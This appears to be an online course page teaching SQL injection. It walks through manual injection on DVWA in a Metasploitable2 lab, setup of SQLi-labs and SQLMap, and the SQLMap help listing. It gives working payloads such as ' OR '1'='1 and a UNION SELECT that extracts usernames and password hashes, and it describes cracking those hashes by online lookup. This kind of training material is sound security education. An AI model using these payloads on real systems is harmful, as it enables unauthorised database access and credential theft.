Reading Material
SQL Injection Fundamentals & Lab Setup Lesson 1 of 12
In Progress

SQL Injection: Core Concepts, Attack Vectors & Risk Overview

In day-to-day life, most of the websites you would come across are dynamic, which means that they take the user input and act upon it. When the user supplies input to the application, it is parsed by the interpreter, where the user-supplied input is combined with the application code.

However, a serious security flaw known as SQL injection can occur when the user-supplied input is mishandled. In simple terms, if the application fails to filter the input properly, an attacker can inject malicious code into the application. This injected code will be interpreted as an SQL statement by the application, leading to an SQL injection vulnerability. As a result, the attacker gains unauthorized access and can execute various harmful actions.

SQL Injection Fundamentals & Lab Setup Lesson 2 of 12
In Progress

Illuminating the Inner Workings of SQL Injection Through Practical Examples

SQL injection is a widespread vulnerability in web applications. In a previous video, we explored SQL injection using SQLmap. If you haven't watched that series yet, you can click the "I" button to view it now. 

Today, we're delving into SQL injection without relying on any tools. Instead, we'll employ manual exploitation methods to gain a deeper understanding of its mechanics.

To facilitate our demonstration, we'll utilize DVWA (Damn Vulnerable Web Application), commonly found on various vulnerable VMs like Metasploitable2 and OWASP Broken Web Application, which we've previously installed.

Learn More Metasploitable2

Learn More OWASP BWA

In this article, I'll showcase SQL injection using Metasploitable2 to provide a thorough demonstration. But before we dive into the SQL injection technique, let's first familiarize ourselves with the SQL commands required to access the DVWA database.

Let's begin by launching the Metasploitable2 VM. 

We'll access the Metasploitable2 VM from Kali Linux. To do so, we need to obtain the IP address. Keep in mind, the default login credentials for Metasploitable2 are both 'msfadmin'. To find the IP address of Metasploitable2, execute the 'ifconfig' command. 

The IP address of the Metasploitable2 VM is 192.168.95.8. Return to Kali Linux and we'll use the SSH command-line utility to establish access.

Open a terminal. Execute the command "ssh" followed by the username and the target's IP address and also add the host key algorithm. 

┌──(kali㉿kali)-[~]
└─$ssh msfadmin@192.168.95.8 -oHostKeyAlgorithms=+ssh-rsa
msfadmin@192.168.95.8's password: 
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Mon May  6 12:53:46 2024 from 192.168.95.3
msfadmin@metasploitable:~$

To access the MySQL database server, use the command "mysql -u root -p". 

msfadmin@metasploitable:~$mysql -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 36
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql>

Upon execution, you'll enter the MySQL command-line interface, allowing you to execute SQL queries and manage the database.

Execute the command "SHOW DATABASES;" to fetch the names of all databases stored on the server. 

mysql>show databases;                                                                                                                     
+--------------------+                                                                                                                       
| Database           |                                                                                                                       
+--------------------+                                                                                                                       
| information_schema |                                                                                                                       
|dvwa              |                                                                                                                       
| metasploit         |                                                                                                                       
| mysql              |                                                                                                                       
| owasp10            |                                                                                                                       
| tikiwiki           |                                                                                                                       
| tikiwiki195        |                                                                                                                       
+--------------------+                                                                                                                       
7 rows in set (0.00 sec)                                                                                                                     
mysql>

This information will be displayed in your command-line interface or any MySQL client you're utilizing. Use the command "USE dvwa;" to set the current database to "dvwa". 

mysql>use dvwa;                                                                                                                             
Reading table information for completion of table and column names                                                                           
You can turn off this feature to get a quicker startup with -A                                                                               
Database changed
mysql>

Next, type "SHOW TABLES;" to display the tables stored within the DVWA database. 

mysql>show tables;                                                                                                                         
+----------------+                                                                                                                           
| Tables_in_dvwa |                                                                                                                           
+----------------+                                                                                                                           
| guestbook      |                                                                                                                           
|users         |                                                                                                                           
+----------------+                                                                                                                           
2 rows in set (0.00 sec)                                                                                                                     
mysql>

Here, You'll see two tables listed: "guestbook" and "users". To retrieve all rows and columns from the "users" table, execute the query "SELECT * FROM users;".

mysql>SELECT * FROM users;                                                                                                                 

The asterisk (*) stands for "all columns", so this query fetches every column of every row in the table. It's a quick way to gather all the information stored in that table.

+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+    
| user_id | first_name | last_name | user    | password                         | avatar                                                |    
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+    
|       1 | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | http://172.16.123.129/dvwa/hackable/users/admin.jpg   |    
|       2 | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | http://172.16.123.129/dvwa/hackable/users/gordonb.jpg |    
|       3 | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | http://172.16.123.129/dvwa/hackable/users/1337.jpg    |    
|       4 | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | http://172.16.123.129/dvwa/hackable/users/pablo.jpg   | 
|       5 | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | http://172.16.123.129/dvwa/hackable/users/smithy.jpg  | 
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+
5 rows in set (0.00 sec)

mysql>

MySQL will fetch all rows and columns from the "users" table and present them as a result set. Data in SQL is organized into columns and rows. You'll observe a series of columns such as User ID, First Name, Last Name, User, Password, Avatar, etc., with unique entries listed in the rows.

It's essential to note that the password stored in the database is not the actual password but rather a hashed version. Hashing is a one-way algorithm that converts the password into an encoded value. This measure is implemented to safeguard user passwords in case of a security breach, as hashed passwords are challenging to reverse back to their original form.

These are fundamental aspects of SQL queries for interacting with a MySQL database. Moving forward, I'll demonstrate how SQL injection works

You'll see the web application interface, and from there, you'll need to devise techniques to inject and structure your syntax in a manner that triggers unexpected behavior in the application.

To begin, open your browser and navigate to the IP address of Metasploitable2. Then, access the DVWA (Damn Vulnerable Web Application).

You'll need to input the DVWA username and password to access the dashboard. The default username is "admin" and the password is "password". 

After a successful login, you'll be directed to a dashboard where you can practice and enhance your web hacking skills.

Ensure that the DVWA security level is set to low.

Now, let's delve into SQL injection. Click on the SQL Injection link to proceed with the explanation.

In the DVWA application, on the SQL Injection page, you'll notice a prompt for a User ID. Approach the application as you would with a regular user.

Entering a User ID of 1, you'll observe that it displays "First name: admin" and "Surname: admin."

Behind the scenes, when User ID "1" is used, a query is executed on the MySQL database to retrieve the first name and last name.

Let's examine the queries executed on the MySQL shell.

Executing the query SELECT first_name, last_name FROM users WHERE user_id = '1';, MySQL retrieves the first name and last name of the user with ID '1' from the "users" table. 

mysql>SELECT first_name,last_name FROM users WHERE user_id='1';                                                                           
+------------+-----------+                                                                                                                   
| first_name | last_name |                                                                                                                   
+------------+-----------+                                                                                                                   
|admin      | admin    |                                                                                                                   
+------------+-----------+                                                                                                                   
1 row in set (0.00 sec)                                                                                                                      
mysql>

This information is returned as a result set, typically containing a single row with the user's first name and last name.

Likewise, if we input a user ID of 2, the database will return "Gordon" and "Brown". 

This process may seem familiar, as we've already explored the backend database. 

mysql>SELECT first_name,last_name FROM users WHERE user_id='2';                                                                            
+------------+-----------+                                                                                                                   
| first_name | last_name |                                                                                                                   
+------------+-----------+                                                                                                                   
|Gordon     | Brown    |                                                                                                                   
+------------+-----------+                                                                                                                   
1 row in set (0.00 sec)                                                                                                                      
mysql>

However, under normal circumstances, accessing this data directly would not be possible.

Returning to the SQL injection example, our goal is to identify if there's a potential SQL injection vulnerability. To do so, let's introduce unconventional SQL syntax and observe the application's response.

Apostrophes(') are commonly used to test for SQL injection vulnerabilities. 

In our previous SQL shell session, we used apostrophes to enclose strings passed to the application. Let's observe the outcome when we input just an apostrophe.

Encountering a common error message stating "you have an error in your SQL syntax" often indicates vulnerability to SQL injection. While we'll discuss vulnerability detection further later on, for now, understand that the presence of an apostrophe breaking the SQL syntax implies potential for manipulation.

In our previous MySQL shell session, we queried for first name and surname from the "users" database where the user ID is ‘1’. Recognizing the possibility of disrupting SQL syntax, we can anticipate potential user IDs and request additional data.

Let's experiment with logic manipulation without necessarily disrupting the syntax. To achieve this, let's input an apostrophe(') that doesn't always break the syntax but may yield interesting outcomes. Knowing that the query is enclosed with opening and closing apostrophes, let's manipulate the syntax.

After the WHERE id='1' clause, which verifies if the value in the "id" column equals '1' and filters rows accordingly, we'll introduce a logical operator. By using the OR logical operator, we allow either condition to be true for the row to be included in the result set.

Subsequently, we'll employ the condition '1'='1', which is always true because it compares the string '1' with itself. This condition is frequently exploited in SQL injection attacks to coerce the query into returning all rows from the table.

SELECT first_name,last_name FROM users WHERE user_id='1' OR '1'='1';

Executing the query `SELECT first_name, last_name FROM users WHERE id='1' OR '1'='1';`, MySQL retrieves the first name and last_name from the "users" table where either the user ID is '1' or the condition '1'='1' evaluates to true. As the condition '1'='1' always holds true, this query effectively returns all rows from the "users" table.

mysql>SELECT first_name,last_name FROM users WHERE user_id='1' OR '1'='1';                                                                 
+------------+-----------+                                                                                                                   
| first_name | last_name |                                                                                                                   
+------------+-----------+                                                                                                                   
| admin      | admin     |                                                                                                                   
| Gordon     | Brown     |                                                                                                                   
| Hack       | Me        |                                                                                                                   
| Pablo      | Picasso   |                                                                                                                   
| Bob        | Smith     |                                                                                                                   
+------------+-----------+                                                                                                                  
5 rows in set (0.00 sec)                                                                                                                     
mysql>

Copy the condition that filters the rows returned by the query and paste it into the user ID field. 

Click on the submit button to display the same data retrieved previously from the MySQL database.

We've successfully gained arbitrary access to the backend database.

The next step involves a slightly complex task requiring familiarity with SQL syntax. Our objective is to steal usernames and passwords.

SQL queries feature a UNION SQL keyword, allowing us to merge the results of multiple SELECT statements into a single result set.

Utilizing the UNION SQL keyword, I'll craft another query to select the user and password columns from the "users" table. The aim is to extract sensitive information, such as usernames and passwords, from the database.

SELECT first_name,last_name FROM users WHERE user_id='1' UNION SELECT user,password FROM users;   

Upon execution, the first query is processed, followed by the union query, which consolidates the usernames and passwords into the same column names.

mysql>SELECT first_name,last_name FROM users WHERE user_id='1' UNION SELECT user,password FROM users;                                     
+------------+----------------------------------+                                                                                            
| first_name | last_name                        |                                                                                            
+------------+----------------------------------+                                                                                            
| admin      | admin                            |                                                                                            
| admin      | 5f4dcc3b5aa765d61d8327deb882cf99 |                                                                                            
| gordonb    | e99a18c428cb38d5f260853678922e03 |                                                                                            
| 1337       | 8d3533d75ae2c3966d7e0d4fcc69216b |                                                                                            
| pablo      | 0d107d09f5bbe40cade3de5c71e9e9b7 |                                                                                            
| smithy     | 5f4dcc3b5aa765d61d8327deb882cf99 |                                                                                            
+------------+----------------------------------+                                                                                           
6 rows in set (0.00 sec)                                                                                                                     
mysql>  

Let's test this on DVWA's SQL injection feature. 

Upon execution, an error message indicates a syntax error in SQL.

The syntax presented above may disrupt functionality due to the rogue apostrophe at the line's end (automatically added by the web application). 

However, the pound sign serves as a comment character, instructing SQL to disregard everything following it.


This syntax instructs SQL to provide usernames and passwords from the "users" table and merge them with the previously retrieved data. Entering this string into DVWA yields the desired data.

As observed, we've disrupted the web application's functionality. The initial record, "admin admin," is as expected since we requested the first record with id=“1.” Furthermore, by querying other users and passwords from the "users" table, we encountered hashed passwords within the surname field.

While hashed passwords are theoretically irreversible, many common password hashes are available online. A quick search can often yield the unhashed version of these passwords.

Clicking on any of these search results reveals the password.

This process provides insight into how SQL injection operates. If you wish to explore SQL injection using an automation tool, I recommend using SQLMap. Refer to the accompanying video for further details.

If you have any doubts or queries, feel free to write them in the comment section.

SQL Injection Fundamentals & Lab Setup Lesson 3 of 12
In Progress

Setting Up an Isolated Vulnerable Web Application Lab for SQL Injection

In this tutorial, we will be going to set up a Lab Environment to test our skills in the path of SQL injection. The lab we are going to set up here is SQLi-labs.

SQLi-Labs was created by a security researcher named Audi-1. SQLi Labs is a collection of PHP files and a script to populate several get and post scenarios, they are been listed in this tree.

The main purpose of this lab is to hone our SQL injection skills both manually and automatically. Let’s have a look at its installation step. 

Microsoft Windows [Version 10.0.18363.476]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Windows-PC>ipconfig

Windows IP Configuration

Ethernet adapter Ethernet:
   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::19f1:ecd7:5033:31af%7
   IPv4 Address. . . . . . . . . . . :192.168.56.108
   Subnet Mask . . . . . . . . . . . : 255.255.240.0
   Default Gateway . . . . . . . . . :

C:\Users\Windows-PC>
user@Linux:~$ cd Downloads/
user@Linux:~/Downloads$ ls
xampp-linux-x64-5.6.39-O-installer.run
user@Linux:~/Downloads$ sudo ./xampp-linux-x64-5.6.39-O-installer.run

Setting Up on Windows VM

You can easily set it up on any platform. But I suggest you, never try to install it on your native system, install it within Virtual Box.

If you have previously tried to set up this lab and got this error, it means the running PHP server might be 7.0 or higher. 

So, our first priority is to download the proper version of the Apache server which supports PHP 5.0.

Firstly, I have to uninstall the latest XAMPP server. 


Now, we have to download the old build XAMPP server from below link:

XAMPP 5.6.39 Download page

Once the old build is downloaded, install it. 

This process is quite similar to the previous installation steps. So keep waiting till the installation is finished:

Once the installation is finished, click on Finish to launch the XAMPP control Panel:

XAMPP control panel is launched. Now, we have to add the SQLi-labs-master.zip file to C:\xampp\htdocs\.

  • Download the sqli-labs-master.zip file from the below GitHub Link.

Click to Download

  • Once downloaded, move the downloaded file to C:\xampp\htdocsand extract it.

Now go back to XAMPP Control and Start Apache Server and MySQL server.


Let’s go back to the browser and access its content by navigating the following URL on your browser. 

Now our first priority is to set up the Database. Click on Setup/Reset Database

As you can notice the database was created.

Now, we are ready to test the SQL Injection attack.

If you want to access it from any other Virtual Machine i.e. Kali Linux, then first you have to identify your IP address using the command prompt. Before that Always remember to check whether the Attack machine and Attacker Machine are connected to the same Network:

Here I am using a Host-only Adapter on both sides:


Now run the following command to identify the IP address of the Attacker Machine (Windows PC).

The IP address is 192.168.56.108. Just navigate it through the browser. 


  • If you got any connection error, then check whether your network adapter might not the same.

As you can notice, we have successfully accessed SQLi-labs from our Kali Linux machine.

Setting Up on Linux

The steps are similar to those previously used in Windows. Instead of Windows, download XAMPP 5.6.39 for Linux.

XAMPP Linux 5.6.39

Once downloaded, install it.

Once the installer command is executed it will automatically start the installation process graphically:


Once the installation is complete, start Apache and MySQL services.

The rest steps are the same as Windows. So try them in your own way.

Automated Testing with SQLMap: Detection & Data Dumping Lesson 4 of 12
In Progress

SQLMap: Architectural Overview, Installation & CLI Flag Reference

In our previous blog, we set up a lab Environment (SQLi-Labs) on behalf of SQL injection attacks. 

  • Click here to Learn More: 

In this chapter, we're going to learn different ways to exploit SQL injection attacks, using an Automated SQL injection and database takeover tool, called SQLMap.

SQLMap is a powerful, and versatile open-source tool written by Bernardo, and Miroslav to dynamically detect and exploit SQL injection issues. 

It supports many databases and helps us not only to enumerate and extract databases but also to execute system commands.

The tool supports the following list of underlying DBMS software used in various web applications—

  • MySQL, 
  • Oracle, 
  • PostgreSQL, 
  • Microsoft SQL Server, 
  • Microsoft Access, 
  • IBM DB2, 
  • SQLite, 
  • Firebird, 
  • Sybase, 
  • SAP MaxDB and 
  • HSQLDB. 

The main focus will be on the Linux/PHP/MySQL stack as it is still the most common web application stack we see these days. 

SQLMap contains a wide array of features some of which are the following: 

  • Support for different kinds of SQL injection techniques like: 
    • Error-based injection 
    • Blind injection 
    • Time-based injection 
    • Stacked queries 
  • Acting as a database client if appropriate credentials are provided 
  • Downloading and uploading files to the database server 
  • Ability to explore databases, tables, and columns individually Exploiting SQL Injection 
  • Built-in support for cracking common hashes such as MD5 
  • Support for the Metasploit framework 
  • Code execution by exploiting DBMS features such as xp_cmdshell

Using SQLMap

Kali Linux

SQL map comes pre-installed with Kali Linux, which is usually penetration testers' favorite operating system. 

You can launch the SQLMap Advanced help menu by executing the following command:

┌──(kali㉿kali)-[~]
└─$ sqlmap -hh   
        ___
       __H__                                                                                                                   
 ___ ___[.]_____ ___ ___  {1.6.7#stable}                                                                                       
|_ -| . [']     | .'| . |                                                                                                      
|___|_  [(]_|_|_|__,|  _|                                                                                                      
      |_|V...       |_|   https://sqlmap.org                                                                                   

Usage: python3 sqlmap [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -d DIRECT           Connection string for direct database connection
    -l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file
    -m BULKFILE         Scan multiple targets given in a textual file
    -r REQUESTFILE      Load HTTP request from a file
    -g GOOGLEDORK       Process Google dork results as target URLs
    -c CONFIGFILE       Load options from a configuration INI file

  Request:
    These options can be used to specify how to connect to the target URL

    -A AGENT, --user..  HTTP User-Agent header value
    -H HEADER, --hea..  Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
    --method=METHOD     Force usage of given HTTP method (e.g. PUT)
    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --param-del=PARA..  Character used for splitting parameter values (e.g. &)
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --cookie-del=COO..  Character used for splitting cookie values (e.g. ;)
    --live-cookies=L..  Live cookies file used for loading up-to-date values
    --load-cookies=L..  File containing cookies in Netscape/wget format
    --drop-set-cookie   Ignore Set-Cookie header from response
    --mobile            Imitate smartphone through HTTP User-Agent header
    --random-agent      Use randomly selected HTTP User-Agent header value
    --host=HOST         HTTP Host header value
    --referer=REFERER   HTTP Referer header value
    --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123")
    --auth-type=AUTH..  HTTP authentication type (Basic, Digest, Bearer, ...)
    --auth-cred=AUTH..  HTTP authentication credentials (name:password)
    --auth-file=AUTH..  HTTP authentication PEM cert/private key file
    --ignore-code=IG..  Ignore (problematic) HTTP error code (e.g. 401)
    --ignore-proxy      Ignore system default proxy settings
    --ignore-redirects  Ignore redirection attempts
    --ignore-timeouts   Ignore connection timeouts
    --proxy=PROXY       Use a proxy to connect to the target URL
    --proxy-cred=PRO..  Proxy authentication credentials (name:password)
    --proxy-file=PRO..  Load proxy list from a file
    --proxy-freq=PRO..  Requests between change of proxy from a given list
    --tor               Use Tor anonymity network
    --tor-port=TORPORT  Set Tor proxy port other than default
    --tor-type=TORTYPE  Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
    --check-tor         Check to see if Tor is used properly
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --retries=RETRIES   Retries when the connection timeouts (default 3)
    --retry-on=RETRYON  Retry request on regexp matching content (e.g. "drop")
    --randomize=RPARAM  Randomly change value for given parameter(s)
    --safe-url=SAFEURL  URL address to visit frequently during testing
    --safe-post=SAFE..  POST data to send to a safe URL
    --safe-req=SAFER..  Load safe HTTP request from a file
    --safe-freq=SAFE..  Regular requests between visits to a safe URL
    --skip-urlencode    Skip URL encoding of payload data
    --csrf-token=CSR..  Parameter used to hold anti-CSRF token
    --csrf-url=CSRFURL  URL address to visit for extraction of anti-CSRF token
    --csrf-method=CS..  HTTP method to use during anti-CSRF token page visit
    --csrf-retries=C..  Retries for anti-CSRF token retrieval (default 0)
    --force-ssl         Force usage of SSL/HTTPS
    --chunked           Use HTTP chunked transfer encoded (POST) requests
    --hpp               Use HTTP parameter pollution method
    --eval=EVALCODE     Evaluate provided Python code before the request (e.g.
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")

  Optimization:
    These options can be used to optimize the performance of sqlmap

    -o                  Turn on all optimization switches
    --predict-output    Predict common queries output
    --keep-alive        Use persistent HTTP(s) connections
    --null-connection   Retrieve page length without actual HTTP response body
    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --skip=SKIP         Skip testing for given parameter(s)
    --skip-static       Skip testing parameters that not appear to be dynamic
    --param-exclude=..  Regexp to exclude parameters from testing (e.g. "ses")
    --param-filter=P..  Select testable parameter(s) by place (e.g. "POST")
    --dbms=DBMS         Force back-end DBMS to provided value
    --dbms-cred=DBMS..  DBMS authentication credentials (user:password)
    --os=OS             Force back-end DBMS operating system to provided value
    --invalid-bignum    Use big numbers for invalidating values
    --invalid-logical   Use logical operations for invalidating values
    --invalid-string    Use random strings for invalidating values
    --no-cast           Turn off payload casting mechanism
    --no-escape         Turn off string escaping mechanism
    --prefix=PREFIX     Injection payload prefix string
    --suffix=SUFFIX     Injection payload suffix string
    --tamper=TAMPER     Use given script(s) for tampering injection data

  Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)
    --string=STRING     String to match when query is evaluated to True
    --not-string=NOT..  String to match when query is evaluated to False
    --regexp=REGEXP     Regexp to match when query is evaluated to True
    --code=CODE         HTTP code to match when query is evaluated to True
    --smart             Perform thorough tests only if positive heuristic(s)
    --text-only         Compare pages based only on the textual content
    --titles            Compare pages based only on their titles

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques

    --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
    --union-char=UCHAR  Character to use for bruteforcing number of columns
    --union-from=UFROM  Table to use in FROM part of UNION query SQL injection
    --dns-domain=DNS..  Domain name used for DNS exfiltration attack
    --second-url=SEC..  Resulting page URL searched for second-order response
    --second-req=SEC..  Load second-order HTTP request from file

  Fingerprint:
    -f, --fingerprint   Perform an extensive DBMS version fingerprint

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --hostname          Retrieve DBMS server hostname
    --is-dba            Detect if the DBMS current user is DBA
    --users             Enumerate DBMS users
    --passwords         Enumerate DBMS users password hashes
    --privileges        Enumerate DBMS users privileges
    --roles             Enumerate DBMS users roles
    --dbs               Enumerate DBMS databases
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --count             Retrieve number of entries for table(s)
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    --search            Search column(s), table(s) and/or database name(s)
    --comments          Check for DBMS comments during enumeration
    --statements        Retrieve SQL statements being run on DBMS
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate
    -X EXCLUDE          DBMS database identifier(s) to not enumerate
    -U USER             DBMS user to enumerate
    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
    --pivot-column=P..  Pivot column name
    --where=DUMPWHERE   Use WHERE condition while table dumping
    --start=LIMITSTART  First dump table entry to retrieve
    --stop=LIMITSTOP    Last dump table entry to retrieve
    --first=FIRSTCHAR   First query output word character to retrieve
    --last=LASTCHAR     Last query output word character to retrieve
    --sql-query=SQLQ..  SQL statement to be executed
    --sql-shell         Prompt for an interactive SQL shell
    --sql-file=SQLFILE  Execute SQL statements from given file(s)

  Brute force:
    These options can be used to run brute force checks

    --common-tables     Check existence of common tables
    --common-columns    Check existence of common columns
    --common-files      Check existence of common files

  User-defined function injection:
    These options can be used to create custom user-defined functions

    --udf-inject        Inject custom user-defined functions
    --shared-lib=SHLIB  Local path of the shared library

  File system access:
    These options can be used to access the back-end database management
    system underlying file system

    --file-read=FILE..  Read a file from the back-end DBMS file system
    --file-write=FIL..  Write a local file on the back-end DBMS file system
    --file-dest=FILE..  Back-end DBMS absolute filepath to write to

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-cmd=OSCMD      Execute an operating system command
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC
    --os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC
    --os-bof            Stored procedure buffer overflow exploitation
    --priv-esc          Database process user privilege escalation
    --msf-path=MSFPATH  Local path where Metasploit Framework is installed
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

  Windows registry access:
    These options can be used to access the back-end database management
    system Windows registry

    --reg-read          Read a Windows registry key value
    --reg-add           Write a Windows registry key value data
    --reg-del           Delete a Windows registry key value
    --reg-key=REGKEY    Windows registry key
    --reg-value=REGVAL  Windows registry key value
    --reg-data=REGDATA  Windows registry key value data
    --reg-type=REGTYPE  Windows registry key value type

  General:
    These options can be used to set some general working parameters

    -s SESSIONFILE      Load session from a stored (.sqlite) file
    -t TRAFFICFILE      Log all HTTP traffic into a textual file
    --answers=ANSWERS   Set predefined answers (e.g. "quit=N,follow=N")
    --base64=BASE64P..  Parameter(s) containing Base64 encoded data
    --base64-safe       Use URL and filename safe Base64 alphabet (RFC 4648)
    --batch             Never ask for user input, use the default behavior
    --binary-fields=..  Result fields having binary values (e.g. "digest")
    --check-internet    Check Internet connection before assessing the target
    --cleanup           Clean up the DBMS from sqlmap specific UDF and tables
    --crawl=CRAWLDEPTH  Crawl the website starting from the target URL
    --crawl-exclude=..  Regexp to exclude pages from crawling (e.g. "logout")
    --csv-del=CSVDEL    Delimiting character used in CSV output (default ",")
    --charset=CHARSET   Blind SQL injection charset (e.g. "0123456789abcdef")
    --dump-format=DU..  Format of dumped data (CSV (default), HTML or SQLITE)
    --encoding=ENCOD..  Character encoding used for data retrieval (e.g. GBK)
    --eta               Display for each output the estimated time of arrival
    --flush-session     Flush session files for current target
    --forms             Parse and test forms on target URL
    --fresh-queries     Ignore query results stored in session file
    --gpage=GOOGLEPAGE  Use Google dork results from specified page number
    --har=HARFILE       Log all HTTP traffic into a HAR file
    --hex               Use hex conversion during data retrieval
    --output-dir=OUT..  Custom output directory path
    --parse-errors      Parse and display DBMS error messages from responses
    --preprocess=PRE..  Use given script(s) for preprocessing (request)
    --postprocess=PO..  Use given script(s) for postprocessing (response)
    --repair            Redump entries having unknown character marker (?)
    --save=SAVECONFIG   Save options to a configuration INI file
    --scope=SCOPE       Regexp for filtering targets
    --skip-heuristics   Skip heuristic detection of vulnerabilities
    --skip-waf          Skip heuristic detection of WAF/IPS protection
    --table-prefix=T..  Prefix used for temporary tables (default: "sqlmap")
    --test-filter=TE..  Select tests by payloads and/or titles (e.g. ROW)
    --test-skip=TEST..  Skip tests by payloads and/or titles (e.g. BENCHMARK)
    --web-root=WEBROOT  Web server document root directory (e.g. "/var/www")

  Miscellaneous:
    These options do not fit into any other category

    -z MNEMONICS        Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
    --alert=ALERT       Run host OS command(s) when SQL injection is found
    --beep              Beep on question and/or when vulnerability is found
    --dependencies      Check for missing (optional) sqlmap dependencies
    --disable-coloring  Disable console output coloring
    --list-tampers      Display list of available tamper scripts
    --no-logging        Disable logging to a file
    --offline           Work in offline mode (only use session data)
    --purge             Safely remove all content from sqlmap data directory
    --results-file=R..  Location of CSV results file in multiple targets mode
    --shell             Prompt for an interactive sqlmap shell
    --tmp-dir=TMPDIR    Local directory for storing temporary files
    --unstable          Adjust options for unstable connections
    --update            Update sqlmap
    --wizard            Simple wizard interface for beginner users
┌──(kali㉿kali)-[~]
└─$ 

Any Linux Platform

If you want to install it on any other Linux Platform then run the following command:

mrdev@ubuntu:~$ cd sqlmap
mrdev@ubuntu:~$ ./sqlmap.py -h

Windows

If you wish to perform SQLMap command-line interface on your Windows machine, then our first priority is to download and install the python interpreter, as because SQLMap is written in python programming Language.

Download Python Installer

Once you have downloaded then install it. 

Check the Add python.exe to PATH and then Click on click on Install Now.

Once set up successfully, you can verify it by running Python on the command prompt.

Microsoft Windows [Version 10.0.18363.476]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Windows-PC>pythonPython 3.11.1 (tags/v3.11.1:a7a450f, Dec 6 2022, 19:58:39) [MSC v.1934 64 bit (AMD64)] on win32Type "help", "copyright", "credits" or "license" for more information.
>>>

Next, download the SQLMap Zip file from the official GitHub page. 

Download SQLMap.zip

Extract the Zip file:

Now change the directory to sqlmap-master directory, and then run the command prompt from here by typing cmd on the directory bar.


Now, from here, you can SQLMap as usual way. Let me test it by running help command:

If you want to run SQLMap directly from the Command prompt without changing the path, then you have to add the file path to the Environment variable.

Before that, we have to move the directory to the C:\ drive and then right-click on This PC, and then click on Properties. 

Here click onAdvance system setting > Click on Environment variable > double click on Path variable and then add the file path of SQLMap.

Everything is ready! Now we can easily run SQLMap from the command prompt without switching the file path.

Automated Testing with SQLMap: Detection & Data Dumping Lesson 5 of 12
In Progress

Detecting and Exploiting SQL Injections using SQLMap

From our previous chapter, we have learned the various method used to install SQLMap.

In this chapter, we will be going to detect and identify whether the tested site is vulnerable or not. If the site is vulnerable, then we will be going to exploit it via SQLMap.

Let me first demonstrate the first test bed. 


Click on GET Error-based Single-quoter-String to get our first test bed site.


Input the ID as a parameter with the numeric value, as following in below screenshot:

It takes a GET parameter named id and displays username and password values for the same:

This URL displayed the value for the first user. Similarly, if we increment the ID parameter, we'll notice different usernames and their corresponding password pairs.

The most benign check for SQL injection is nothing other than adding a quotation mark ( ' ) after the suspect parameter. This actually tries to break the application's SQL query by adding a stray string character. 

Now let's try that out:

As expected, we get a classic MariaDB error which tells us that something is odd, and possibly an error-based SQL injection.

Let's fire up SQLMap and try to figure out whether it is exploitable or not.

┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://192.168.56.108/sqli-labs-master/Less-1/?id=4
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.6.7#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

